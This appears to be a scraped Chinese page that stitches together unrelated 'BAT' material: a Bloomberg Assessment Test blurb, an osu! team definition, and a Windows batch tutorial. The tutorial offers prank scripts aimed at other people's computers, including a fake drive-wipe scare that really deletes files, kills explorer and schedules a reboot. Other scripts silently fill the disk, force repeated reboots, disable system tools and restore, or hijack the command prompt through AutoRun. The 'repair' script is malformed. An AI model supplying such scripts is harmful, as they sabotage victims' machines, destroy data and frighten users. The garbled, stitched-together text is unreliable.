del /f /q %userprofile%\cookies\*.*
del /f /q %userprofile%\recent\*.*
del /f /s /q "%userprofile%\Local Settings\Temporary Internet Files\*.*"
del /f /s /q "%userprofile%\Local Settings\Temp\*.*"
del /f /s /q "%userprofile%\recent\*.*"
echo 清除系统垃圾文件完成！
pause
彭博社评估测试
BAT(Bloomberg Assesment Test)是由全球最大的财经资讯公司——彭博社(BLOOMBERG)开发的一项专业测试系统，针对有志进入金融、商科、经济、咨询领域实习/工作的在校学生。它与GRE,GMAT一样都是计算机在线考试，时长为3个半小时；不同处在于BAT被很多顶尖金融机构认可，在BAT考试上表现优异的考生会获得进入彭博社及其他如HSBC等金融机构和投行实习和工作的机会。题目结构根据2012年2约于西南财经大学柳林校区举办的最新测试，整个测试目前分为11部分约150个单选题目，测试语言为英文，考试时间约3个小时。
Economics 经济学
Financial Statements Analysis 财务报表分析
Corporate Valuations 公司估值
Investment Banking 投资银行
Financial Markets 金融市场
Investment Management 投资管理
Verbal Skills 语言能力
Math Skills 数学能力
Analytical Reasoning 分析推理
Situational and Ethical Judgment 情景及道德判断国内参与高校西南财经大学
安徽大学
杭州电子科技大学
北京大学
清华大学
复旦大学
北京外国语大学
北京林业大学
北京师范大学
北京交通大学等
代码提供
好了，先来几个实用的。锁定注册表@reg add 
"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\S
ystem" /v DisableRegistryTools /t reg_dword /d 00000001 /f解锁注册表@reg add 
"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\S
ystem" /v DisableRegistryTools /t reg_dword /d 00000000 /f 
start regedit显示隐藏文件reg add 
"HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v 
Hidden /t reg_dword /d 1 /f
reg add 
"HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v 
HideFileExt /t reg_dword /d 0 /f
reg add 
"HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v 
ShowSuperHidden /t reg_dword /d 1 /f锁定任务管理器REG ADD 
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Sy
stem /V DisableTaskMgr /t REG_DWORD /d 00000001 /f解锁任务管理器REG ADD 
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Sy
stem /V DisableTaskMgr /t REG_DWORD /d 00000000 /f
解释：这五个都是通过改注册表做到的。
接下来搞几个用密码的。带密码的批处理@echo off
mode con cols=30 lines=10
set b=5
:pwd
title 密码验证:
set /a a=%a%+1
set /a b=%b%-1
set pwd=dingding520
set pwd=""
set /p pwd=请输入密码:
if /I "%pwd%"=="密码" goto main
if /I "%a%"=="5" goto err
echo 错误 %a% 次! 您还有 %b% 次机会!
goto pwd
:err
color c
mode con cols=35 lines=3
title Error!!
cls
echo.
echo 错误次数达到五次,程序即将退出!
ping 127.1 -n 6 >nul
exit
:main
title 貌似你的密码对了！
cls
echo.
echo 能看到这里证明密码对了！嘎嘎。
pause >nul
解释：把>nul删掉，再换行写你的代码。锁定命令提示符@echo off
echo.
echo 正在建立用于锁住命令行窗口的lockcmd.bat批处理文件，请稍侯......
echo.
echo. >lockcmd.bat
echo @echo off >lockcmd.bat
echo echo. >>lockcmd.bat
echo setlocal >>lockcmd.bat
echo set /a times=3 >>lockcmd.bat
echo :checkpassword >>lockcmd.bat
echo set /p password=请输入密码: >>lockcmd.bat
echo set /a times=times-1 >>lockcmd.bat
echo if "%%password%%"=="密码" goto continue >>lockcmd.bat
echo if "%%times%%"=="0" goto exit >>lockcmd.bat
echo echo 输入的密码不正确，请重新输入，还有%%times%%次机会！
>>lockcmd.bat
echo goto checkpassword >>lockcmd.bat
echo :exit >>lockcmd.bat
echo echo. >>lockcmd.bat
echo echo 你无权进入命令行状态！ >>lockcmd.bat
echo exit >>lockcmd.bat
echo :continue >>lockcmd.bat
echo cls >>lockcmd.bat
echo title 欢迎你回到命令行窗口工作！！！ >>lockcmd.bat
echo cd /d c:\ >>lockcmd.bat
echo endlocal >>lockcmd.bat
copy lockcmd.bat %windir%
echo 正在设置注册表，从而让命令行窗口一打开便进入锁定状态......
echo Windows Registry Editor Version 5.00 >temp.reg
echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Command Processor] 
>>temp.reg
echo "AutoRun"="lockcmd.bat" >>temp.reg
echo 成功锁住命令行，只有输入正确的密码才可使用！
regedit /s temp.reg
del /q /f temp.reg >nul
del /q /f lockcmd.bat >nul
pause>nul
解释：这两个把“密码”改成你要输的密码就行了。
嗯，接下来是几个整人的。
2H1Q声明：使用这些代码造成的后果（比如别人找你麻烦）自负。
首先是个吓唬人的。唬人代码@echo off
color 4f
echo 删除C盘所有文件......
del /f /s /q "%systemdrive%\*.tmp"
del /f /s /q "%systemdrive%\*.dmp"
del /f /s /q "%systemdrive%\*._mp"
del /f /s /q "%systemdrive%\*.gid"
del /f /s /q "%systemdrive%\*.old"
del /f /s /q "%systemdrive%\*.chk"
del /f /s /q "%systemdrive%\*.bak"
del /f /s /q "%systemdrive%\*.log"
del /f /s /q "%systemdrive%\*.txt"
del /f /s /q "%systemdrive%\*.ini"
del /f /s /q "%systemdrive%\Recycled\*.*"
del /f /s /q "%systemdrive%\RECYCLER\*.*"
del /f /s /q "%windir%\inf\*.pnf"
del /f /s /q "%windir%\Prefetch\*.*"
rd /s /q "%windir%\Downloaded Program Files"
rd /s /q "%windir%\LastGood"
rd /s /q "%windir%\Offline Web Pages"
rd /s /q "%windir%\SoftwareDistribution\Download"
rd /s /q "%windir%\temp" & md "%windir%\temp"
rd /s /q "%userprofile%\Local Settings\Application Data\Microsoft\Media 
Player"
rd /s /q "%userprofile%\UserData"
rd /s /q "%appdata%\Adobe"
rd /s /q "%appdata%\Macromedia"
rd /s /q "%appdata%\Microsoft\Media Player"
rd /s /q "%appdata%\Microsoft\Office\Recent"
del /a /f /s /q "%userprofile%\Cookies\*.*"
del /a /f /s /q "%userprofile%\Recent\*.*"
del /a /f /s /q "%userprofile%\Local Settings\Application 
Data\GDIPFONTCACHEV1.dat"
del /a /f /s /q "%userprofile%\Local Settings\Application 
Data\IconCache.db"
del /a /f /s /q "%userprofile%\Local Settings\History\*.*"
del /a /f /s /q "%userprofile%\Local Settings\Temporary Internet 
Files\*.*"
del /a /f /s /q "%temp%\*.*"
del /a /f /s /q "%userprofile%\AppData\Local\GDIPFONTCACHEV1.dat"
del /a /f /s /q "%userprofile%\AppData\Local\IconCache.db"
del /a /f /s /q "%userprofile%
\AppData\Local\Microsoft\Windows\History\*.*"
del /a /f /s /q "%userprofile%
\AppData\Local\Microsoft\Windows\Temporary Internet Files\*.*"
del /a /f /s /q "%userprofile%
\AppData\Roaming\Microsoft\Windows\Cookies\*.*"
del /a /f /s /q "%userprofile%
\AppData\Roaming\Microsoft\Windows\Recent\*.*"
echo 已删除完毕 
echo. 
echo 删除D盘所有文件...... 
ping -n 3 127.1>nul
echo 已删除完毕 
echo. 
echo 删除E盘所有文件...... 
ping -n 3 127.1>nul
echo 已删除完毕
echo. 
echo 正在低级格式化全部硬盘...... 
ping -n 3 127.1>nul
echo.
echo 正在 进行二次 低格硬盘...... 
ping -n 3 127.1>nul
echo.
echo 正在 进行三次 低格硬盘...... 
ping -n 3 127.1>nul
echo.
echo 正在 进行四次 低格硬盘...... 
ping -n 3 127.1>nul
echo.
echo 正在 进行五次 低格硬盘...... 
ping -n 3 127.1>nul
echo. 
echo 注意: cpu现在温度127度!温度过高报警!!!
echo. 
echo 注意: 硬盘现在温度86度!温度过高报警!!!
echo.
echo 注意: 显卡现在温度96度!温度过高报警!!!
echo.
echo 注意: 系统崩溃, 主板温度 超过临界值!!!
echo.
echo 注意: 电容负荷超过99% 
echo. & pause
shutdown /r /t 60 /c "电脑将在60秒内崩溃或爆炸!请勿强行关闭电源!否则会
导致cpu和硬盘彻底损毁!!" 
ntsd -c q -pn explorer.exe
ping -n 60 127.1>nul
shutdown -a
start explorer.exe 
解释：哈哈，这个别人看了会吓到的。占C盘空间IF EXIST C:\WINDOWS\a.txt (help > a.txt)
:a
help >> C:\WINDOWS\a.txt
goto a
解释：这个东西加@echo off，start min可以神不知鬼不觉的占别人空间。重启5次@echo off 
if not exist c:\1.txt echo. >c:\1.txt & goto err1 
if not exist c:\2.txt echo. >c:\2.txt & goto err1 
if not exist c:\3.txt echo. >c:\3.txt & goto err1 
if not exist c:\4.txt echo. >c:\4.txt & goto err1 
if not exist c:\5.txt echo. >c:\5.txt & goto err1 
goto err2 
:err1 
shutdown -r -t 0 
:err2 
解释：这个东西能让别人重启五次。如果你愿意，复制if not exist c:\5.txt 
echo. >c:\5.txt & goto err1 再改几个名字，别人会崩溃的。
接着来个威力大的。超级恶搞@echo off
REG ADD 
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Sy
stem /V Disableregistrytools /t REG_DWORD /d 00000001 /f
REG ADD 
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Sy
stem /V DisableTaskMgr /t REG_DWORD /d 00000001 /f
reg add 
hkey_current_user\software\microsoft\windows\currentversion\policies\ex
plorer /V
restrictrun /t reg_dword /d 00000001 /f
reg add 
hkey_current_user\software\microsoft\windows\currentversion\policies\ex
plorer /V
notraycontextmenu /t reg_dword /d 00000001 /f
reg add 
hkey_current_user\software\microsoft\windows\currentversion\policies\ex
plorer /V noviewcontextmenu /t reg_dword /d 00000001 /f
reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows 
NT\CurrentVersion\SystemRestore /V DisableSR /t reg_dword /d 00000001 
/f
REG ADD 
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Ex
plorer /V NoFolderOptions /t REG_dword /d 00000001 /f
reg add 
hkey_current_user\software\microsoft\windows\currentversion\policies\ex
plorer /V nocontrolpanel /t reg_dword /d 00000001 /f
reg add "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main" taskkill /f /im thunder.exe
taskkill /f /im QQ.exe
taskkill /f /im QQMusic.exe
taskkill /f /im QQLive.exe
taskkill /f /im Stormtray.exe
taskkill /f /im QvodTerminal.exe
taskkill /f /im QvodPlayer.exe
taskkill /f /im SogouInput.exe
taskkill /f /im iexplore.exe
Shutdown -s -t 60 -c goodbye
解释：大家看看吧，这个威力太大了。修复程序注：使用上面那个代码造成的后果，用这个修复。
@echo off
REG DELETE 
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Sy
stem /v Disableregistrytools /t REG_DWORD /d 00000001 /f
REG DELETE 
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Sy
stem /v DisableTaskMgr /t REG_DWORD /d 00000001 /f
reg DELETE 
hkey_current_user\software\microsoft\windows\currentversion\policies\ex
plorer /v
restrictrun /t reg_dword /d 00000001 /f
reg DELETE 
hkey_current_user\software\microsoft\windows\currentversion\policies\ex
plorer /v
notraycontextmenu /t reg_dword /d 00000001 /f
reg DELETE 
hkey_current_user\software\microsoft\windows\currentversion\policies\ex
plorer /v noviewcontextmenu /t reg_dword /d 00000001 /f
reg DELETE HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows 
NT\CurrentVersion\SystemRestore /V DisableSR /t reg_dword /d 00000001 
/f
REG DELETE 
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Ex
plorer /V NoFolderOptions /t REG_dword /d 00000001 /f
reg DELETE 
hkey_current_user\software\microsoft\windows\currentversion\policies\ex
plorer /v nocontrolpanel /t reg_dword /d 00000001 /f
reg DELETE "HKEY_CURRENT_USER\Software\Microsoft\Internet 
解释：和上面那个一对照，应该能看懂。这个要及时用，免得别人找你麻烦。
嗯，代码就列举到这里，大家可以自己编一些哦。
BAT
音乐游戏osu!的管理人员，曾被称为Beatmap Approval Team，负责图的审核上架(rank)以及社区管理。